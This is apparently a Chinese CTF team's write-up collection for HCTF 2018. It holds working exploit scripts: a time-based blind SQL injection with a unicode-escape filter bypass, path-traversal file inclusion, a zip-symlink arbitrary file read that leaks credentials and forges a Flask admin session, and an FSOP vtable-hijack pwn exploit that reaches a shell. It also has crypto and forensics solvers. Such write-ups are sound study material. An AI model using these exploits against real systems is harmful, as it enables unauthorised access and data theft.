招新小广告
ChaMd5 ctf组 长期招新
尤其是reverse+pwn+合约的大佬
欢迎联系admin@chamd5.org
解题思路
不断fuzz,发现\u0075nion在json_decode后,会变成union,从而达到bypass的目的。 脚本:
# -*- coding: utf-8 -*-
import requests
import base64
import string
url = 'http://kzone.2018.hctf.io/admin/list.php'
fuzz = string.letters + string.digits + '!@&{}#$*'
def check(payload):
cookie = {
'PHPSESSID':'gnbvuv2j1emoidqq516504mnv5',
'islogin':'1',
'login_data':payload
}
try:
requests.post(url,cookies=cookie,timeout=1.5)
return 0
except:
return 1
result = ''
for i in range(32,50):
for j in fuzz:
payload = '{"admin_user":"admin\'/**/and/**/\u0069f(\u0061scii(\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\u003d%s,\u0073leep(2),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))
#print payload
if check(payload):
result += j
break
print result
解题思路 注册登录后,在changepassword部分看到源码,下载之。 看到了源码中的strlower部分,百度找到了这篇文章 http://blog.lnyas.xyz/?p=1411 因为题目在注册中调用了一次strlower,所以会解码一次,这样注册的是Admin,与已注册的admin不同,在接下来changepassword时在解码一次,decode成admin,就可以admin密码。所以需要大写类型的unicode Admin 找到了一个ᴬdmin
注册->登录>changepassword->登录->flag
源码注释里提示有source.php,绕过文件名检测然后文件包含即可:
http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../ffffllllaaaagggg
上传包含软连接的 zip 文件达到任意读
function lfr(){
rm -f _v
ln -s $1 _v
zip -0 -y -q -r -o b3.zip cmdline _v zip
curl -s "http://hideandseek.2018.hctf.io/upload" \
-H "Connection: close" \
-F the_file=@b3.zip \
--output -
rm b3.zip
}
lfr /path/to/file
lfr /proc/self/environ
lfr /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
lfr /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
lfr /sys/class/net/eth0/address
mac2long 12:34:3e:14:7c:62
# 20015589129314
# SECRET_KEY=11.935137566861131
# Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-eIfw.0rOhpwBRE__J5-T9HZnPh2yS3ys
curl -s http://hideandseek.2018.hctf.io/ \
-H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-eIfw.0rOhpwBRE__J5-T9HZnPh2yS3ys" \
--output - | grep hctf
session.py
from flask import Flask, session
import uuid
import random
import os
random.seed(20015589129314)
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
@app.route('/fuck', methods=['GET'])
def fuck():
session['username'] = 'admin'
return app.config['SECRET_KEY']
hctf{2495e2ef667b367a0738f5eae9d6afb983c2}
script:
from pwn import *
import numpy as np
def get_number(x, freq):
y = np.sin(2*np.pi*x*freq)*7
return y
sumdic = {}
sumlist = []
x = np.linspace(0,1,1500)[1]
for x1 in range(256):
for x2 in range(x1 + 1):
y1 = get_number(x, x1)
y2 = get_number(x, x2)
sumdic[(x1,x2)] = y1 + y2
sumlist.append(y1 + y2)
print len(sumdic)
def getcomp_(x):
for key in sumdic:
if abs(sumdic[key] - x) < 0.00000000000001:
return key
return (0, 0)
def getcomp(x):
for key in sumdic:
key_ = getcomp_(x - sumdic[key])
if key_ != (0, 0):
return (key[0], key[1], key_[0], key_[1])
return (0, 0, 0, 0)
context.log_level = 'error'
p = remote('150.109.119.46', 6775)
p.recvuntil('hint:')
p.sendline('y')
p.recvuntil('token:')
p.sendline('1PoPsLwOXUExIBXAeUTBbi2gevm0jjpl')
for i in range(8):
print i
p.recvuntil('[')
que = p.recvuntil(']')[:-1]
que = que.split(', ')
que = float(que[1])
print 'getting comp'
ans = getcomp(que)
ans = str(ans[0]) + ' ' + str(ans[1]) + ' ' + str(ans[2]) + ' ' + str(ans[3])
print ans
p.sendline(ans)
p.interactive()
script:
# -*- coding: cp936 -*-
#D:\Program Files\Wireshark\tshark.exe -r difficult_programming_language.pcap -T fields -e usb.capdata > usbdata.txt
def shiftkey(k):
if ord(k) >= ord('a') and ord(k) <= ord('z'):
return k.upper()
elif ord(k) >= ord('0') and ord(k) <= ord('9'):
numt = ')!@#$%^&*('
return numt[ord(k)-ord('0')]
else:
dic = {}
dic['/'] = '?'
dic['='] = '+'
dic['\\'] = '|'
dic['-'] = '_'
dic[';'] = ':'
dic['.'] = '>'
dic[','] = '<'
dic['['] = '{'
dic['`'] = '~'
return dic[k]
mappings = { 4: 'a', 5: 'b', 6: 'c', 7: 'd', 8: 'e', 9: 'f', 10: 'g', \
11: 'h', 12: 'i', 13: 'j', 14: 'k', 15: 'l', 16: 'm', 17: 'n', \
18: 'o', 19: 'p', 20: 'q', 21: 'r', 22: 's', 23: 't', 24: 'u', \
25: 'v', 26: 'w', 27: 'x', 28: 'y', 29: 'z', 30: '1', 31: '2', \
32: '3', 33: '4', 34: '5', 35: '6', 36: '7', 37: '8', 38: '9', \
39: '0', 40: '\n', 41: 'ESCAPE', 42: 'DELETE', 43: 'Tab', 44: \
'Spacebar', 45: '-', 46: '=', 47: '[', 48: ']', 49: '\\', 50: \
'Non-US', 51: ';', 52: '\'', 53: '`', 54: ',', 55: '.', 56: '/', 57: 'Caps', 58: 'F1', 59: 'F2', 60: 'F3', 61: 'F4', 62: 'F5', 63: 'F6', 64: 'F7', 65: 'F8', 66: 'F9', 67: 'F10', 68: 'F11', 69: 'F12', 70: 'PrintScreen1', 71: 'Scroll', 72: 'Pause1', 73: 'Insert1', 74: 'Home1', 75: 'PageUp1', 76: 'Delete', 77: 'End1', 78: 'PageDown1', 79: 'RightArrow1', 80: 'LeftArrow1', 81: 'DownArrow1', 82: 'UpArrow1', 100: 'Non-US', 101: 'Application10', 102: 'Power9', 104: 'F13', 105: 'F14', 106: 'F15', 107: 'F16', 108: 'F17', 109: 'F18', 110: 'F19', 111: 'F20', 112: 'F21', 113: 'F22', 114: 'F23', 115: 'F24', 116: 'Execute', 117: 'Help', 118: 'Menu', 119: 'Select', 120: 'Stop', 121: 'Again', 122: 'Undo', 123: 'Cut', 124: 'Copy', 125: 'Paste', 126: 'Find', 127: 'Mute', 128: 'Volume', 129: 'Volume', 130: 'Locking', 131: 'Locking', 132: 'Locking', 135: 'International115,28', 136: 'International216', 137: 'International317', 138: 'International418', 139: 'International519', 140: 'International620', 141: 'International721', 142: 'International822', 143: 'International922', 144: 'LANG125', 145: 'LANG226', 146: 'LANG330', 147: 'LANG431', 148: 'LANG532', 149: 'LANG68', 150: 'LANG78', 151: 'LANG88', 152: 'LANG98', 153: 'Alternate', 154: 'SysReq/Attention1', 155: 'Cancel', 156: 'Clear', 157: 'Prior', 158: 'Return', 159: 'Separator', 160: 'Out', 161: 'Oper', 162: 'Clear/Again', 163: 'CrSel/Props', 164: 'ExSel'}
output = ''
keys = open('usbdata.txt').read()
keys = keys.split('\n')
for key in keys:
if len(key) >= 8:
s = key[0:2]
k = int(key[6:8],16)
if k in mappings:
if s == '01':
output += 'ctr ' + mappings[k] + '\n'
elif s == '02':
output += shiftkey(mappings[k])
else:
output += mappings[k]
else:
if k != 0:
print k
print('output :\n' + output)
output:
D'
;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a
_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3
hctf{m4lb0lGe}
原文是英文诗,因此密钥解出来的明文是一些可见字符,先fuzz出密钥长度:
from Crypto.Util.strxor import strxor
import base64
import random
key="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?!_"
key2=" qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890,.'"
def enc(data, key):
key = (key * (len(data) / len(key) + 1))[:len(data)]
return strxor(data, key)
def check(s,m,n,offset=0):
f=1
for i in range(n/m-1):
if ord(s[offset+m*i])>=128 or (ord(s[offset+m*i])<32 and ord(s[offset+m*i])!=10 and ord(s[offset+m*i])!=13):
f=0
break
if f==1:
return True
else:
return False
poem = open('cipher.txt', 'r').read()
for i in range(5,40):
for j in range(32,128):
flag=chr(j).ljust(i," ")
s=enc(poem.decode("base64"), flag)
if check(s,i,len(s)):
print i,flag
#break
#21 22 25 28 29 35
然后同样方法逐位爆破即可(最开始几位容易确定为:"xor_is_",后面位结果太多,可以看已破解的明文,用英文单词推知后面结果):hctf{xor_is_interesting!@#}
http://skysec.top/2018/09/15/%E6%B5%85%E6%9E%90RSA-Padding-Attack/
参考Coppersmith’s short-pad attack,利用工具:https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage
题目做着做着多出来sha256来控制取题速度 本来还想着刷个好分解的溜溜,贴一下Kir老哥的代码:
from hashlib import sha256
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
for l in range(32,127):
f=chr(i)+chr(j)+chr(k)+chr(l)
if sha256(f + "nFpUNkIQrQa3").hexdigest() == "2b40407afa8654ce4d3df4fa92ee99ac4121bdb96e5f22a84199416c1e7d3cbb":
print f
break
# Franklin-Reiter attack against RSA.
# If two messages differ only by a known fixed difference between the two messages
# and are RSA encrypted under the same RSA modulus N
# then it is possible to recover both of them.
from sage import *
# Inputs are modulus, known difference, ciphertext 1, ciphertext2.
# Ciphertext 1 corresponds to smaller of the two plaintexts. (The one without the fixed difference added to it)
def franklinReiter(n,e,r,c1,c2):
R.<X> = Zmod(n)[]
f1 = X^e - c1
f2 = (X + r)^e - c2
# coefficient 0 = -m, which is what we wanted!
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
# GCD is not implemented for rings over composite modulus in Sage
# so we do our own implementation. Its the exact same as standard GCD, but with
# the polynomials monic representation
def compositeModulusGCD(a, b):
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
"""
Coppersmith's Shortpad attack!
Figured out from: https://en.wikipedia.org/wiki/Coppersmith's_attack#Coppersmith.E2.80.99s_short-pad_attack
"""
import binascii
P.<x,y> = PolynomialRing(ZZ)
ZmodN = Zmod(n)
g1 = x^e - C1
g2 = (x+y)^e - C2
res = g1.resultant(g2)
P.<y> = PolynomialRing(ZmodN)
# Convert Multivariate Polynomial Ring to Univariate Polynomial Ring
rres = 0
for i in range(len(res.coefficients())):
rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))
diff = rres.small_roots(epsilon=eps)
recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
print(recoveredM1)
print("Message is the following hex, but potentially missing some zeroes in the binary from the right end")
print(hex(recoveredM1))
print("Message is one of:")
for i in range(8):
msg = hex(Integer(recoveredM1*pow(2,i)))
if(len(msg)%2 == 1):
msg = '0' + msg
if(msg[:2]=='0x'):
msg = msg[:2]
print(binascii.unhexlify(msg))
def testCoppersmithShortPadAttack(eps=1/25):
from Crypto.PublicKey import RSA
import random
import math
import binascii
M = "flag{This_Msg_Is_2_1337}"
M = int(binascii.hexlify(M),16)
e = 3
nBitSize = 8192
key = RSA.generate(nBitSize)
#Give a bit of room, otherwhise the epsilon has to be tiny, and small roots will take forever
m = int(math.floor(nBitSize/(e*e))) - 400
assert (m < nBitSize - len(bin(M)[2:]))
r1 = random.randint(1,pow(2,m))
r2 = random.randint(r1,pow(2,m))
M1 = pow(2,m)*M + r1
M2 = pow(2,m)*M + r2
C1 = Integer(pow(M1,e,key.n))
C2 = Integer(pow(M2,e,key.n))
CoppersmithShortPadAttack(e,key.n,C1,C2,eps)
def testFranklinReiter():
p = random_prime(2^512)
q = random_prime(2^512)
n = p * q # 1024-bit modulus
e = 11
m = randint(0, n) # some message we want to recover
r = randint(0, n) # random padding
c1 = pow(m + 0, e, n)
c2 = pow(m + r, e, n)
print(m)
recoveredM = franklinReiter(n,e,r,c1,c2)
print(recoveredM)
assert recoveredM==m
print("They are equal!")
return True
n=19887994051236493076873280465313990197092952871122877723373775584977707140593083012535615551606399118544838777449254183247121295458731358336644968689514695861751450101968280133400100389980783108983943294352861846164471805172325023158549859676313630826991906215452897079828632841395515613555565659156000092427201147035090321215449415071956176987021251716772154049466608694632462093311886904780391498622596762813424042683887037487959610127667938831340770508293534716557323371857271400185504486602467105811568367964275665584072689328308816300985059099591387414849157750391921324805172938088056487887605140902002440519161
c1=19423697461459978841636766775452799095947939987607109859287229254631732272947447604016574851143514430504321829201343609095655654387446680553099689714024344267989965806711348896865780417727889994759456310018798922924532932060886970622010330033916053006055882090824731537390843140007341704549110675121840657405433521569995652024178047836267898314261805225601843357569116209401355567086230968529956496689162349558895682116367156853860111809490159686549012594246982181830015880736961648603389616272876751590004940497298532832908129430694808631887806763402599167248065324804841760675901757492998994604149459854809135039205
c2=8750899802582909426521034721838197565536864731527843241762040183175503839838612960243076025745004090802005297602166415111110576519296055170256275679327372275357032872996138231224846535008006971372072699805641447890249236224292670910257233212722767329053305326750587872308067973535540398314661647218455910637434474589917120824015356867975120966193292778256950379975796887956386870166178104561030961252332829275317242388252044985772841922150664603300793165992962148028827938785256909456405917112373035915873935120439583922219085847163148144967904573071530092144475602768948491236682285164639352787145321648956392024911
e=5
CoppersmithShortPadAttack(e,n,C1,C2,1/60)
之前卡滞在CoppersmithShortPadAttack报错
Kir老哥分析截止误差设置太大了,改成1/60即可。
解题思路
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}
可以看到程序保留了stdin,且有5次任意地址写(1字节)的机会。 思路很简单:利用FSOP,在调用_IO_flush_all_lockp时,劫持vtable中的overflow函数,2.23后不能直接写vtable,可以在一段可写内存中伪造vtable(将overflow的位置写为one_gadget),再将IO_FILE_plus中的vtable指针指向构造后的vtable,在exit的时候,便会最终调用one_gadget来get shell:
from pwn import *
context.log_level='debug'
p=remote("150.109.44.250",20002)
p.sendlineafter("token:","1PoPsLwOXUExIBXAeUTBbi2gevm0jjpl")
p.recvuntil("gift ")
libc_addr=int(p.recv(14),16)-0xcc230
p.recvuntil("\n")
vtable_ptr_addr=libc_addr+0x3c56f8
fake_vtable=libc_addr+0x3c51e0
one_gadget=libc_addr+0xf02a4
stderr_addr=libc_addr+0x3c5540
print "libc:{}".format(hex(libc_addr))
print "fake_vtable:{}".format(hex(fake_vtable))
print "one_gadget:{}".format(hex(one_gadget))
#fake vtable
for i in range(3):
p.send(p64(fake_vtable+0x18+i))
p.send(p64(one_gadget)[i])
#fp->_IO_write_ptr > fp->_IO_write_base
p.send(p64(stderr_addr+0x28))
p.send("\x01")
#_IO_FILE_plus.vtable->fake vtable
p.send(p64(stderr_addr+216+1))
p.send(p64(fake_vtable)[1])
#gdb.attach(p)
p.interactive()
因为没有输出,get shell后:
ls >&0 cat flag >&0
AntiDebug
自解
自解的主流程
Encodekey
Step1 Base64(alpha表大小写被替换了) Step2 Xor with Table
Dump Table[] = 0x08, 0x81, 0x39, 0x8D, 0x40, 0x09, 0x42, 0x14, 0xD0, 0xF2, 0x98, 0x66, 0x33, 0xD6, 0xC9, 0xB2, 0xC1, 0x95, 0xB6, 0x1E, 0xC7, 0x2D, 0x1C, 0xEF, 0xD2, 0xB2, 0x5F, 0x66, 0x8C, 0xB9, 0xF1, 0x38
encodekeyExcepted[] = 0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC, 0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56, 0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8, 0xCC, 0x05
Table[] ^ encodekeyExcpeted[] = ‘Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==’ => b64.decode(‘aGN0ZnsxenVtaV9lMG5hdDRfTW8zfQ==’)
本来题都有问题 出来的是这个
这题2月份的某个比赛见过类似的 arduino模拟键盘操作 手边有ard板down一下程序就完事了 不是很喜欢这个题型 dump RAM
关键函数
关键流程
模拟键盘打印串
a.bin
a.py
script result